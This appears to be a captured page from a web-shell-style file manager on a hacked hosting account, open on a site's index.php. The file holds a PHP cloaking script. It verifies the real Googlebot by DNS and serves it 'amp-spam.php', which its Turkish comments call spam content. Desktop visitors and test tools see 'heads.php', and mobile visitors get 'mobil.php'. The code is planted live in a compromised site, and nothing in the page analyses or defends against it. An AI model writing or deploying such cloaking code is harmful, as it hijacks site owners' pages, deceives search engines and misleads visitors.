File manager - Edit - /home/asiatechinc/public_html/asiatech-websites/buranshheliresort.com/index.php1
Back
<?php function isRealGoogleBot() { $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); if (strpos($ua, 'googlebot') === false) return false; $host = gethostbyaddr($ip); return preg_match('/\.google(bot)?\.com$/', $host) && gethostbyname($host) === $ip; } function isMobileDevice() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); return preg_match('/mobile|android|iphone|ipad|ipod|opera mini|blackberry/', $ua); } $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $isGoogleTestTool = ( strpos($ua, 'lighthouse') !== false || strpos($ua, 'google-inspectiontool') !== false || strpos($ua, 'structured-data') !== false || strpos($ua, 'gtmetrix') !== false ); $googleBot = isRealGoogleBot(); $isMobile = isMobileDevice(); // ✅ 1. GERÇEK GOOGLE BOT GELDİYSE — AMP SPAM İÇERİK if ($googleBot) { include("amp-spam.php"); exit; } // ✅ 2. TEST ARACI veya MASAÜSTÜ — heads.php göster if ((!$googleBot && !$isMobile) || $isGoogleTestTool) { include("heads.php"); exit; } // ✅ 3. MOBİL KULLANICI — mobil.php içeriğini göster include("mobil.php"); exit;
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings